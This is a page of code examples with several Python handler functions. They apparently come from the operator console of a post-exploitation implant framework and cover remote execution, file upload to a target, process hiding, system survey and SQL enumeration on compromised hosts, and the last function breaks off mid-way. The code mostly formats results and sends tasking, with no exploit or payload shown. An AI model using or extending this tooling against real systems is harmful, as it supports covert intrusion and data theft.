Exemple #1
0
def DataHandlerMain(namespace, InputFilename, OutputFilename):
    import mcl.imports
    import mcl.data.Input
    import mcl.data.Output
    import mcl.status
    import mcl.target
    import mcl.object.Message
    mcl.imports.ImportNamesWithNamespace(namespace, 'mca.file.cmd.systempaths',
                                         globals())
    input = mcl.data.Input.GetInput(InputFilename)
    output = mcl.data.Output.StartOutput(OutputFilename, input)
    output.Start('SystemPaths', 'systempaths', [])
    msg = mcl.object.Message.DemarshalMessage(input.GetData())
    if input.GetStatus() != mcl.status.MCL_SUCCESS:
        errorMsg = msg.FindMessage(mcl.object.Message.MSG_KEY_RESULT_ERROR)
        moduleError = errorMsg.FindU32(
            mcl.object.Message.MSG_KEY_RESULT_ERROR_MODULE)
        osError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_OS)
        output.RecordModuleError(moduleError, osError, errorStrings)
        output.EndWithStatus(input.GetStatus())
        return True
    from mcl.object.XmlOutput import XmlOutput
    xml = XmlOutput()
    xml.Start('Dirs')
    results = Result()
    results.Demarshal(msg)
    xml.AddSubElementWithText('WindowsDir', results.windowsPath)
    xml.AddSubElementWithText('SystemDir', results.systemPath)
    xml.AddSubElementWithText('TempDir', results.tempPath)
    output.RecordXml(xml)
    output.EndWithStatus(mcl.target.CALL_SUCCEEDED)
    return True
def DataHandlerMain(namespace, InputFilename, OutputFilename):
    import mcl.imports
    import mcl.data.Input
    import mcl.data.Output
    import mcl.status
    import mcl.target
    import mcl.object.Message
    mcl.imports.ImportNamesWithNamespace(namespace,
                                         'mca.process.cmd.remoteexecute',
                                         globals())
    input = mcl.data.Input.GetInput(InputFilename)
    output = mcl.data.Output.StartOutput(OutputFilename, input)
    output.Start('RemoteExecute', 'remoteexecute', [])
    msg = mcl.object.Message.DemarshalMessage(input.GetData())
    if input.GetStatus() != mcl.status.MCL_SUCCESS:
        errorMsg = msg.FindMessage(mcl.object.Message.MSG_KEY_RESULT_ERROR)
        moduleError = errorMsg.FindU32(
            mcl.object.Message.MSG_KEY_RESULT_ERROR_MODULE)
        osError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_OS)
        output.RecordModuleError(moduleError, osError, errorStrings)
        output.EndWithStatus(input.GetStatus())
        return True
    results = Result()
    results.Demarshal(msg)
    from mcl.object.XmlOutput import XmlOutput
    xml = XmlOutput()
    xml.Start('RemoteProcess')
    xml.AddSubElementWithText('Id', '%u' % results.processId)
    xml.AddSubElementWithText('RetVal', '%d' % results.returnValue)
    output.RecordXml(xml)
    output.EndWithStatus(mcl.target.CALL_SUCCEEDED)
    return True
def DataHandlerMain(namespace, InputFilename, OutputFilename):
    import mcl.imports
    import mcl.data.Input
    import mcl.data.Output
    import mcl.status
    import mcl.target
    import mcl.object.Message
    mcl.imports.ImportNamesWithNamespace(namespace, 'mca.file.cmd.move',
                                         globals())
    input = mcl.data.Input.GetInput(InputFilename)
    output = mcl.data.Output.StartOutput(OutputFilename, input)
    output.Start('Move', 'move', [])
    msg = mcl.object.Message.DemarshalMessage(input.GetData())
    if input.GetStatus() != mcl.status.MCL_SUCCESS:
        errorMsg = msg.FindMessage(mcl.object.Message.MSG_KEY_RESULT_ERROR)
        moduleError = errorMsg.FindU32(
            mcl.object.Message.MSG_KEY_RESULT_ERROR_MODULE)
        osError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_OS)
        output.RecordModuleError(moduleError, osError, errorStrings)
        output.EndWithStatus(input.GetStatus())
        return True
    results = Result()
    results.Demarshal(msg)
    from mcl.object.XmlOutput import XmlOutput
    xml = XmlOutput()
    xml.Start('Results')
    if results.afterReboot:
        xml.AddAttribute('delay', 'true')
    else:
        xml.AddAttribute('delay', 'false')
    xml.AddSubElementWithText('Source', results.fullSrcPath)
    xml.AddSubElementWithText('Destination', results.fullDstPath)
    output.RecordXml(xml)
    output.EndWithStatus(mcl.target.CALL_SUCCEEDED)
    return True
def DataHandlerMain(namespace, InputFilename, OutputFilename):
    import mcl.imports
    import mcl.data.Input
    import mcl.data.Output
    import mcl.status
    import mcl.target
    import mcl.object.Message
    mcl.imports.ImportNamesWithNamespace(namespace, 'mca.survey.cmd.sidlookup',
                                         globals())
    input = mcl.data.Input.GetInput(InputFilename)
    output = mcl.data.Output.StartOutput(OutputFilename, input)
    output.Start('SidLookup', 'sidlookup', [])
    msg = mcl.object.Message.DemarshalMessage(input.GetData())
    if input.GetStatus() != mcl.status.MCL_SUCCESS:
        errorMsg = msg.FindMessage(mcl.object.Message.MSG_KEY_RESULT_ERROR)
        moduleError = errorMsg.FindU32(
            mcl.object.Message.MSG_KEY_RESULT_ERROR_MODULE)
        osError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_OS)
        output.RecordModuleError(moduleError, osError, errorStrings)
        output.EndWithStatus(input.GetStatus())
        return True
    result = Result()
    result.Demarshal(msg)
    from mcl.object.XmlOutput import XmlOutput
    xml = XmlOutput()
    xml.Start('Sid')
    xml.AddSubElementWithText('Id', result.id)
    xml.AddSubElementWithText('Name', result.name)
    output.RecordXml(xml)
    output.EndWithStatus(mcl.target.CALL_SUCCEEDED)
    return True
def _handleVersion(output, msg):
    version = ResultVersion()
    version.Demarshal(msg)
    from mcl.object.XmlOutput import XmlOutput
    xml = XmlOutput()
    xml.Start('Version')
    xml.AddSubElementWithText('Major', '%u' % version.major)
    xml.AddSubElementWithText('Minor', '%u' % version.minor)
    xml.AddSubElementWithText('Fix', '%u' % version.fix)
    output.RecordXml(xml)
    return mcl.target.CALL_SUCCEEDED
Exemple #6
0
def DataHandlerMain(namespace, InputFilename, OutputFilename):
    import mcl.imports
    import mcl.data.Input
    import mcl.data.Output
    import mcl.status
    import mcl.target
    import mcl.object.Message
    mcl.imports.ImportNamesWithNamespace(namespace, 'mca.status.cmd.time',
                                         globals())
    input = mcl.data.Input.GetInput(InputFilename)
    output = mcl.data.Output.StartOutput(OutputFilename, input)
    output.Start('Time', 'time', [])
    msg = mcl.object.Message.DemarshalMessage(input.GetData())
    if input.GetStatus() != mcl.status.MCL_SUCCESS:
        errorMsg = msg.FindMessage(mcl.object.Message.MSG_KEY_RESULT_ERROR)
        moduleError = errorMsg.FindU32(
            mcl.object.Message.MSG_KEY_RESULT_ERROR_MODULE)
        osError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_OS)
        output.RecordModuleError(moduleError, osError, errorStrings)
        output.EndWithStatus(input.GetStatus())
        return True
    from mcl.object.XmlOutput import XmlOutput
    xml = XmlOutput()
    xml.Start('Time')
    result = Result()
    result.Demarshal(msg)
    xml.AddTimeElement('LocalTime', result.localTime)
    xml.AddSubElementWithText('LocalTimeSeconds',
                              '%u' % result.localTime.GetSeconds())
    xml.AddTimeElement('SystemTime', result.systemTime)
    xml.AddSubElementWithText('SystemTimeSeconds',
                              '%u' % result.systemTime.GetSeconds())
    sub = xml.AddSubElement('TimeZone')
    sub.AddTimeElement('Bias', result.bias)
    if result.state == RESULT_STATE_STANDARD:
        sub.AddSubElementWithText('CurrentState', 'Standard')
    elif result.state == RESULT_STATE_DAYLIGHT:
        sub.AddSubElementWithText('CurrentState', 'Daylight')
    else:
        sub.AddSubElementWithText('CurrentState', 'Unknown')
    sub = xml.AddSubElement('DaylightSavingsTime')
    _writeDstInfo('Standard', result.standardBias, result.standardMonth,
                  result.standardWeek, result.standardDay, result.standardName,
                  sub)
    _writeDstInfo('Daylight', result.daylightBias, result.daylightMonth,
                  result.daylightWeek, result.daylightDay, result.daylightName,
                  sub)
    output.RecordXml(xml)
    output.EndWithStatus(mcl.target.CALL_SUCCEEDED)
    return True
def _handleMapData(msg, output):
    if msg.GetCount() == 0:
        output.EndWithStatus(mcl.target.CALL_SUCCEEDED)
        return True
    results = ResultMap()
    results.Demarshal(msg)
    from mcl.object.XmlOutput import XmlOutput
    xml = XmlOutput()
    xml.Start('MapResponse')
    if len(results.resourceName) > 0:
        xml.AddSubElementWithText('ResourceName', results.resourceName)
    xml.AddSubElementWithText('ResourcePath', results.resourcePath)
    output.RecordXml(xml)
    output.GoToBackground()
    output.End()
    return True
Exemple #8
0
def DataHandlerMain(namespace, InputFilename, OutputFilename):
    import mcl.imports
    import mcl.data.Input
    import mcl.data.Output
    import mcl.data.env
    import mcl.status
    import mcl.target
    import mcl.object.Message
    mcl.imports.ImportNamesWithNamespace(namespace, 'mca.file.cmd.put',
                                         globals())
    input = mcl.data.Input.GetInput(InputFilename)
    output = mcl.data.Output.StartOutput(OutputFilename, input)
    output.Start('Put', 'put', [])
    msg = mcl.object.Message.DemarshalMessage(input.GetData())
    if input.GetStatus() != mcl.status.MCL_SUCCESS:
        errorMsg = msg.FindMessage(mcl.object.Message.MSG_KEY_RESULT_ERROR)
        moduleError = errorMsg.FindU32(
            mcl.object.Message.MSG_KEY_RESULT_ERROR_MODULE)
        osError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_OS)
        output.RecordModuleError(moduleError, osError, errorStrings)
        output.EndWithStatus(input.GetStatus())
        return True
    if msg.GetCount() == 0:
        mcl.data.env.SetValue(LP_ENV_PUT_COMPLETE, 'true')
        return True
    results = Result()
    try:
        results.Demarshal(msg)
    except:
        output.RecordError('Failed to get callback parameters')
        mcl.data.env.SetValue(LP_ENV_ERROR_ENCOUNTERED, 'true')
        output.EndWithStatus(mcl.target.CALL_FAILED)
        return True

    if len(results.filePath) > 0:
        from mcl.object.XmlOutput import XmlOutput
        xml = XmlOutput()
        xml.Start('Results')
        xml.AddSubElementWithText('File', results.filePath)
        output.RecordXml(xml)
        mcl.data.env.SetValue(LP_ENV_FILE_OPENED, 'true')
    bytesLeft = int(mcl.data.env.GetValue(LP_ENV_BYTES_LEFT))
    totalBytes = int(mcl.data.env.GetValue(LP_ENV_FILE_SIZE))
    if results.bytesWritten > bytesLeft:
        output.RecordError('Target reported more data written than is left?!')
        mcl.data.env.SetValue(LP_ENV_ERROR_ENCOUNTERED, 'true')
        output.EndWithStatus(mcl.target.CALL_FAILED)
        return True
    if results.bytesWritten > 0:
        bytesLeft -= results.bytesWritten
        from mcl.object.XmlOutput import XmlOutput
        xml = XmlOutput()
        xml.Start('Results')
        xml.AddAttribute('bytesWritten', '%u' % results.bytesWritten)
        xml.AddAttribute('bytesLeft', '%u' % bytesLeft)
        xml.AddAttribute('totalBytes', '%u' % totalBytes)
        output.RecordXml(xml)
        mcl.data.env.SetValue(LP_ENV_BYTES_LEFT, '%u' % bytesLeft)
    output.End()
    return True
def _handleStatus(output, msg):
    results = StatusResult()
    results.Demarshal(msg)
    from mcl.object.XmlOutput import XmlOutput
    xml = XmlOutput()
    xml.Start('Status')
    xml.AddSubElementWithText('Major', '%u' % results.major)
    xml.AddSubElementWithText('Minor', '%u' % results.minor)
    xml.AddSubElementWithText('Fix', '%u' % results.fix)
    xml.AddSubElementWithText('Build', '%u' % results.build)
    if results.available:
        xml.AddSubElementWithText('Available', 'true')
    else:
        xml.AddSubElementWithText('Available', 'false')
    output.RecordXml(xml)
    return mcl.target.CALL_SUCCEEDED
def _handleAdapters(output, msg):
    if msg.GetCount() == 0:
        output.RecordError('No status values returned')
        return mcl.target.CALL_FAILED
    submsg = msg.FindMessage(MSG_KEY_RESULT_ADAPTERS)
    results = ResultFilterInfo()
    results.Demarshal(submsg)
    from mcl.object.XmlOutput import XmlOutput
    xml = XmlOutput()
    xml.Start('AdaptersInfo')
    if results.threadRunning:
        xml.AddAttribute('threadRunning', 'true')
    else:
        xml.AddAttribute('threadRunning', 'false')
    if results.filterActive:
        xml.AddAttribute('filterActive', 'true')
    else:
        xml.AddAttribute('filterActive', 'false')
    xml.AddAttribute('numAdapters',
                     '%u' % submsg.GetCount(MSG_KEY_RESULT_ADAPTER_NAME))
    while submsg.GetNumRetrieved() < submsg.GetCount():
        if mcl.CheckForStop():
            return mcl.target.CALL_FAILED
        name = submsg.FindString(MSG_KEY_RESULT_ADAPTER_NAME)
        xml.AddSubElementWithText('Adapter', name)

    output.RecordXml(xml)
    return mcl.target.CALL_SUCCEEDED
def DataHandlerMain(namespace, InputFilename, OutputFilename):
    import mcl.imports
    import mcl.data.Input
    import mcl.data.Output
    import mcl.msgtype
    import mcl.status
    import mcl.target
    import mcl.object.Message
    mcl.imports.ImportNamesWithNamespace(namespace, 'mca.network.cmd.banner',
                                         globals())
    input = mcl.data.Input.GetInput(InputFilename)
    output = mcl.data.Output.StartOutput(OutputFilename, input)
    output.Start('Banner', 'banner', [])
    msg = mcl.object.Message.DemarshalMessage(input.GetData())
    if input.GetStatus() != mcl.status.MCL_SUCCESS:
        errorMsg = msg.FindMessage(mcl.object.Message.MSG_KEY_RESULT_ERROR)
        moduleError = errorMsg.FindU32(
            mcl.object.Message.MSG_KEY_RESULT_ERROR_MODULE)
        osError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_OS)
        output.RecordModuleError(moduleError, osError, errorStrings)
        if moduleError == ERR_RECV_TIMEOUT:
            output.SetTaskStatus(mcl.target.CALL_SUCCEEDED)
        else:
            output.SetTaskStatus(input.GetStatus())
        output.End()
        return True
    if msg.GetCount() == 0:
        output.EndWithStatus(mcl.target.CALL_SUCCEEDED)
        return True
    result = Result()
    result.Demarshal(msg)
    from mcl.object.XmlOutput import XmlOutput
    xml = XmlOutput()
    if result.socketType == SOCKET_TYPE_TCP:
        xml.Start('Connected')
        output.RecordXml(xml)
    xml.Start('Transfer')
    xml.AddAttribute('address', '%s' % result.rspAddr)
    xml.AddAttribute('port', '%u' % result.port)
    sub = xml.AddSubElement('Data')
    sub.AddAttribute('size', '%u' % len(result.response))
    if len(result.response) > 0:
        sub.SetTextAsData(result.response)
    textStr = ''
    for char in result.response:
        if char == ord('\r') or char == ord('\n') or char == ord(
                '\t') or char >= ord(' ') and char <= ord('~'):
            textStr = textStr + chr(char)
        else:
            textStr = textStr + '?'

    sub = xml.AddSubElementWithText('Text', textStr)
    output.RecordXml(xml)
    output.End()
    return True
def DataHandlerMain(namespace, InputFilename, OutputFilename):
    import mcl.imports
    import mcl.data.Input
    import mcl.data.Output
    import mcl.status
    import mcl.target
    import mcl.object.Message
    mcl.imports.ImportNamesWithNamespace(namespace, 'mca.security.cmd.hide',
                                         globals())
    input = mcl.data.Input.GetInput(InputFilename)
    output = mcl.data.Output.StartOutput(OutputFilename, input)
    output.Start('Hide', 'hide', [])
    msg = mcl.object.Message.DemarshalMessage(input.GetData())
    if input.GetStatus() != mcl.status.MCL_SUCCESS:
        errorMsg = msg.FindMessage(mcl.object.Message.MSG_KEY_RESULT_ERROR)
        moduleError = errorMsg.FindU32(
            mcl.object.Message.MSG_KEY_RESULT_ERROR_MODULE)
        osError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_OS)
        if moduleError == ERR_LIBRARY_CALL_FAILED:
            import mcl.hiding.errors.process_hide
            output.RecordModuleError(moduleError, 0, errorStrings)
            output.RecordModuleError(
                osError, 0, mcl.hiding.errors.process_hide.errorStrings)
        elif moduleError == ERR_JUMPUP_FAILED:
            output.RecordModuleError(moduleError, 0, errorStrings)
            import mcl.privilege.errors
            output.RecordModuleError(osError, 0,
                                     mcl.privilege.errors.errorStrings)
        else:
            output.RecordModuleError(moduleError, osError, errorStrings)
        output.EndWithStatus(input.GetStatus())
        return True
    results = Result()
    results.Demarshal(msg)
    from mcl.object.XmlOutput import XmlOutput
    xml = XmlOutput()
    if results.type == RESULT_TYPE_PROCESS_HIDE:
        xml.Start('Hidden')
        xml.AddAttribute('type', 'Process')
        xml.AddAttribute('value', results.item)
    elif results.type == RESULT_TYPE_PROCESS_UNHIDE:
        xml.Start('Unhidden')
        xml.AddAttribute('type', 'Process')
        xml.AddAttribute('value', results.item)
    else:
        output.RecordError('Unhandled result type (%u)' % results.type)
        output.EndWithStatus(mcl.target.CALL_FAILED)
        return False
    if len(results.metaData) > 0:
        xml.AddSubElementWithText('MetaData', results.metaData)
    output.RecordXml(xml)
    output.EndWithStatus(mcl.target.CALL_SUCCEEDED)
    return True
Exemple #13
0
def DataHandlerMain(namespace, InputFilename, OutputFilename):
    import mcl.imports
    import mcl.data.Input
    import mcl.data.Output
    import mcl.msgtype
    import mcl.status
    import mcl.target
    import mcl.object.Message
    mcl.imports.ImportNamesWithNamespace(namespace,
                                         'mca.survey.cmd.systemversion',
                                         globals())
    input = mcl.data.Input.GetInput(InputFilename)
    output = mcl.data.Output.StartOutput(OutputFilename, input)
    output.Start('SystemVersion', 'systemversion', [])
    msg = mcl.object.Message.DemarshalMessage(input.GetData())
    if input.GetStatus() != mcl.status.MCL_SUCCESS:
        errorMsg = msg.FindMessage(mcl.object.Message.MSG_KEY_RESULT_ERROR)
        moduleError = errorMsg.FindU32(
            mcl.object.Message.MSG_KEY_RESULT_ERROR_MODULE)
        osError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_OS)
        output.RecordModuleError(moduleError, osError, errorStrings)
        output.EndWithStatus(input.GetStatus())
        return True
    from mcl.object.XmlOutput import XmlOutput
    xml = XmlOutput()
    result = Result()
    result.Demarshal(msg)
    xml.Start('SystemVersion')
    if mcl.os.archNames.has_key(result.arch):
        xml.AddAttribute('architecture', mcl.os.archNames[result.arch])
    else:
        xml.AddAttribute('architecture', 'unknown')
    xml.AddAttribute('architectureValue', '%u' % result.arch)
    if mcl.os.osNames.has_key(result.os):
        xml.AddAttribute('platform', mcl.os.osNames[result.os])
    else:
        xml.AddAttribute('platform', 'unknown')
    xml.AddAttribute('platformValue', '%u' % result.os)
    xml.AddAttribute('major', '%u' % result.majorVersion)
    xml.AddAttribute('minor', '%u' % result.minorVersion)
    xml.AddAttribute('revisionMajor', '%u' % result.revisionMajor)
    xml.AddAttribute('revisionMinor', '%u' % result.revisionMinor)
    xml.AddAttribute('build', '%u' % result.build)
    xml.AddSubElementWithText('ExtraInfo', result.extraInfo)
    if result.os == mcl.os.MCL_OS_WINNT or result.os == mcl.os.MCL_OS_WIN9X:
        sub = xml.AddSubElement('Flags')
        _addWindowsFlags(sub, result.flags)
    output.RecordXml(xml)
    output.EndWithStatus(mcl.target.CALL_SUCCEEDED)
    return True
def DataHandlerMain(namespace, InputFilename, OutputFilename):
    import mcl.imports
    import mcl.data.Input
    import mcl.data.Output
    import mcl.msgtype
    import mcl.status
    import mcl.target
    import mcl.object.Message
    mcl.imports.ImportNamesWithNamespace(namespace, 'mca.file.cmd.cd',
                                         globals())
    input = mcl.data.Input.GetInput(InputFilename)
    output = mcl.data.Output.StartOutput(OutputFilename, input)
    output.Start('Cd', 'cd', [])
    msg = mcl.object.Message.DemarshalMessage(input.GetData())
    if input.GetStatus() != mcl.status.MCL_SUCCESS:
        errorMsg = msg.FindMessage(mcl.object.Message.MSG_KEY_RESULT_ERROR)
        moduleError = errorMsg.FindU32(
            mcl.object.Message.MSG_KEY_RESULT_ERROR_MODULE)
        osError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_OS)
        output.RecordModuleError(moduleError, osError, errorStrings)
        output.EndWithStatus(input.GetStatus())
        return True
    from mcl.object.XmlOutput import XmlOutput
    result = Result()
    result.Demarshal(msg)
    try:
        import mcl.data.env
        isVirtualDir = mcl.data.env.IsTrue('IsVirtual')
    except:
        isVirtualDir = False

    xml = XmlOutput()
    xml.Start('DirectoryInfo')
    xml.AddSubElementWithText('CurrentDirectory', result.dir)
    if isVirtualDir:
        xml.AddAttribute('virtual', 'true')
    else:
        xml.AddAttribute('virtual', 'false')
    output.RecordXml(xml)
    if isVirtualDir:
        import mcl.tasking.virtualdir
        mcl.tasking.virtualdir.Set(result.dir)
    output.EndWithStatus(input.GetStatus())
    return True
Exemple #15
0
def DataHandlerMain(namespace, InputFilename, OutputFilename):
    import mcl.imports
    import mcl.data.Input
    import mcl.data.Output
    import mcl.status
    import mcl.target
    import mcl.object.Message
    mcl.imports.ImportNamesWithNamespace(namespace, 'mca.file.cmd.strings',
                                         globals())
    input = mcl.data.Input.GetInput(InputFilename)
    output = mcl.data.Output.StartOutput(OutputFilename, input)
    output.Start('Strings', 'strings', [])
    msg = mcl.object.Message.DemarshalMessage(input.GetData())
    if input.GetStatus() != mcl.status.MCL_SUCCESS:
        errorMsg = msg.FindMessage(mcl.object.Message.MSG_KEY_RESULT_ERROR)
        moduleError = errorMsg.FindU32(
            mcl.object.Message.MSG_KEY_RESULT_ERROR_MODULE)
        osError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_OS)
        output.RecordModuleError(moduleError, osError, errorStrings)
        output.EndWithStatus(input.GetStatus())
        return True
    from mcl.object.XmlOutput import XmlOutput
    xml = XmlOutput()
    xml.Start('Strings')
    file = msg.FindString(MSG_KEY_RESULT_FILE)
    xml.AddSubElementWithText('File', file)
    while msg.GetNumRetrieved() < msg.GetCount():
        if mcl.CheckForStop():
            output.EndWithStatus(mcl.target.CALL_FAILED)
            return False
        results = Result()
        results.Demarshal(msg)
        sub = xml.AddSubElement('String')
        sub.SetText('%s' % results.value)
        sub.AddAttribute('offset', '%u' % results.offset)

    output.RecordXml(xml)
    output.EndWithStatus(mcl.target.CALL_SUCCEEDED)
    return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    import mcl.tasking.env
    import mcl.tasking.virtualdir
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.file.cmd.cd', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.file.cmd.cd.tasking',
                                    globals())
    lpParams = mcl.tasking.GetParameters()
    if lpParams['type'] == LP_CD_TYPE_REAL:
        isVirtual = False
    elif lpParams['type'] == LP_CD_TYPE_VIRTUAL:
        isVirtual = True
    else:
        mcl.tasking.EchoError('Unhandled dir type (%u)' % lpParams['type'])
        return False
    try:
        if isVirtual:
            mcl.tasking.env.SetValue('IsVirtual', 'true')
        else:
            mcl.tasking.env.SetValue('IsVirtual', 'false')
    except:
        mcl.tasking.EchoError("Failed to set 'IsVirtual' environment variable")
        return False

    if lpParams['dir'] == None:
        dir = ''
    else:
        dir = lpParams['dir']
    if isVirtual:
        if len(dir) > 0 and lpParams['force']:
            try:
                mcl.tasking.virtualdir.Set(dir)
            except:
                mcl.tasking.EchoError(
                    'Failed to set virtual working directory')
                return False

        try:
            currentDir = mcl.tasking.virtualdir.GetFullPath(dir)
        except:
            mcl.tasking.EchoError('Failed to get virtual working directory')
            return False

        if len(currentDir) > 0:
            if len(dir) == 0 or lpParams['force']:
                if currentDir.startswith('\\\\?\\UNC\\'):
                    userDir = '\\\\%s' % currentDir[8:]
                elif currentDir.startswith('\\\\?\\'):
                    userDir = currentDir[4:]
                else:
                    userDir = currentDir
                from mcl.object.XmlOutput import XmlOutput
                xml = XmlOutput()
                xml.Start('DirectoryInfo')
                xml.AddSubElementWithText('CurrentDirectory', userDir)
                xml.AddAttribute('virtual', 'true')
                mcl.tasking.OutputXml(xml)
                mcl.tasking.TaskSetStatus(mcl.target.CALL_SUCCEEDED)
                return True
            dir = currentDir
    tgtParams = mca.file.cmd.cd.Params()
    tgtParams.dir = dir
    if isVirtual or len(tgtParams.dir) == 0:
        rpc = mca.file.cmd.cd.tasking.RPC_INFO_QUERY
    else:
        rpc = mca.file.cmd.cd.tasking.RPC_INFO_SET
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0, mca.file.cmd.cd.errorStrings)
        return False
    else:
        return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    import mcl.tasking.env
    import mcl.tasking.technique
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.scre.cmd.sql', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.scre.cmd.sql.tasking',
                                    globals())
    lpParams = mcl.tasking.GetParameters()
    from mcl.object.XmlOutput import XmlOutput
    xml = XmlOutput()
    xml.Start('CommandInfo')
    xml.AddSubElementWithText('Action', actionMap[lpParams['actionCmd']])
    if lpParams['actionCmd'] == _CMD_ACTION_LIST_DRIVERS:
        rpc = mca.scre.cmd.sql.tasking.RPC_INFO_LIST_DRIVERS
    elif lpParams['actionCmd'] == _CMD_ACTION_LIST_SOURCES:
        rpc = mca.scre.cmd.sql.tasking.RPC_INFO_LIST_DATASOURCES
    elif lpParams['actionCmd'] == _CMD_ACTION_LIST_HANDLES:
        rpc = mca.scre.cmd.sql.tasking.RPC_INFO_LIST_HANDLES
    else:
        connectParams = mca.scre.cmd.sql.ParamsConnect()
        connectParams.connectionString = lpParams['connectString']
        if connectParams.connectionString == None:
            if not mcl.tasking.env.CheckValue(
                    '_SCRE_HANDLE_CONNECT_STR_%u' % lpParams['handleId'],
                    globalValue=True) or not mcl.tasking.env.CheckValue(
                        '_SCRE_HANDLE_ACCESS_TYPE_%u' % lpParams['handleId'],
                        globalValue=True) or not mcl.tasking.env.CheckValue(
                            '_SCRE_HANDLE_AUTO_COMMIT_%u' %
                            lpParams['handleId'],
                            globalValue=True):
                mcl.tasking.OutputError('The given handle id was not found')
                return False
            connectParams.connectionString = mcl.tasking.env.GetValue(
                '_SCRE_HANDLE_CONNECT_STR_%u' % lpParams['handleId'],
                globalValue=True)
            accessType = mcl.tasking.env.GetValue(
                '_SCRE_HANDLE_ACCESS_TYPE_%u' % lpParams['handleId'],
                globalValue=True)
            if accessType == 'READ ONLY':
                connectParams.accessType = mca.scre.cmd.sql.SQL_ACCESS_TYPE_READ_ONLY
            elif accessType == 'READ/WRITE':
                connectParams.accessType = mca.scre.cmd.sql.SQL_ACCESS_TYPE_READ_WRITE
            else:
                mcl.tasking.OutputError('Unknown access type for handle %u' %
                                        lpParams['handleId'])
                return False
            if not mcl.tasking.env.IsTrue(
                    '_SCRE_HANDLE_AUTO_COMMIT_%u' % lpParams['handleId'],
                    globalValue=True):
                connectParams.flags &= ~mca.scre.cmd.sql.PARAMS_CONNECT_FLAG_AUTOCOMMIT
        else:
            if lpParams['accessType'] == _CMD_ACCESS_TYPE_READ:
                connectParams.accessType = mca.scre.cmd.sql.SQL_ACCESS_TYPE_READ_ONLY
            elif lpParams['accessType'] == _CMD_ACCESS_TYPE_READWRITE:
                connectParams.accessType = mca.scre.cmd.sql.SQL_ACCESS_TYPE_READ_WRITE
            else:
                mcl.tasking.OutputError('Unknown access type')
                return False
            if not lpParams['autoCommit']:
                connectParams.flags &= ~mca.scre.cmd.sql.PARAMS_CONNECT_FLAG_AUTOCOMMIT
            if connectParams.connectionString == None or len(
                    connectParams.connectionString) == 0:
                mcl.tasking.OutputError(
                    'A connection string must be specified')
                return False
            xml.AddSubElementWithText('ConnectionString',
                                      connectParams.connectionString)
            if not lpParams['allowConnect']:
                connectParams.flags |= mca.scre.cmd.sql.PARAMS_CONNECT_FLAG_USE_EXISTING
            if connectParams.accessType == mca.scre.cmd.sql.SQL_ACCESS_TYPE_READ_ONLY:
                xml.AddSubElementWithText('AccessType', 'READ ONLY')
            elif connectParams.accessType == mca.scre.cmd.sql.SQL_ACCESS_TYPE_READ_WRITE:
                xml.AddSubElementWithText('AccessType', 'READ/WRITE')
            else:
                mcl.tasking.OutputError('Unknown access type')
                return False
            if connectParams.flags & mca.scre.cmd.sql.PARAMS_CONNECT_FLAG_AUTOCOMMIT:
                xml.AddSubElementWithText('AutoCommit', 'true')
            else:
                xml.AddSubElementWithText('AutoCommit', 'false')
            if mcl.tasking.env.CheckValue('_SCRE_TIMEOUT_SECONDS_%u' %
                                          lpParams['handleId'],
                                          globalValue=True):
                connectParams.timeoutSeconds = int(
                    mcl.tasking.env.GetValue('_SCRE_TIMEOUT_SECONDS_%u' %
                                             lpParams['handleId'],
                                             globalValue=True))
            else:
                connectParams.timeoutSeconds = lpParams['timeout'].GetSeconds()
            msg = MarshalMessage()
            if lpParams['actionCmd'] == _CMD_ACTION_CONNECT:
                rpc = mca.scre.cmd.sql.tasking.RPC_INFO_CONNECT
                connectParams.Marshal(msg)
            elif lpParams['actionCmd'] == _CMD_ACTION_LIST_SERVERS:
                rpc = mca.scre.cmd.sql.tasking.RPC_INFO_LIST_SERVERS
                connectParams.Marshal(msg)
            else:
                if lpParams['actionCmd'] == _CMD_ACTION_DISCONNECT:
                    rpc = mca.scre.cmd.sql.tasking.RPC_INFO_DISCONNECT
                    connectParams.Marshal(msg)
                else:
                    queryParams = mca.scre.cmd.sql.ParamsQueryBase()
                    queryParams.connectInfo = connectParams
                    queryParams.maxColumnSize = lpParams['maxColumnSize']
                    queryParams.chunkSize = lpParams['chunkSize']
                    if queryParams.maxColumnSize < 1:
                        mcl.tasking.OutputError(
                            'maxColumnSize must be a positive number')
                        return False
                xml.AddSubElementWithText('MaxColumnSize',
                                          '%u' % queryParams.maxColumnSize)
                if lpParams['actionCmd'] == _CMD_ACTION_LIST_DATABASES:
                    rpc = mca.scre.cmd.sql.tasking.RPC_INFO_LIST_DATABASES
                    queryParams.Marshal(msg)
                elif lpParams['actionCmd'] == _CMD_ACTION_LIST_TABLES:
                    rpc = mca.scre.cmd.sql.tasking.RPC_INFO_LIST_TABLES
                    queryParams.Marshal(msg)
                elif lpParams['actionCmd'] == _CMD_ACTION_LIST_COLUMNS:
                    if lpParams['tableName'] == None or len(
                            lpParams['tableName']) == 0:
                        mcl.tasking.OutputError(
                            'A table name must be specified')
                        return False
                    tgtParams = mca.scre.cmd.sql.ParamsQueryColumns()
                    tgtParams.baseInfo = queryParams
                    tgtParams.tableName = lpParams['tableName']
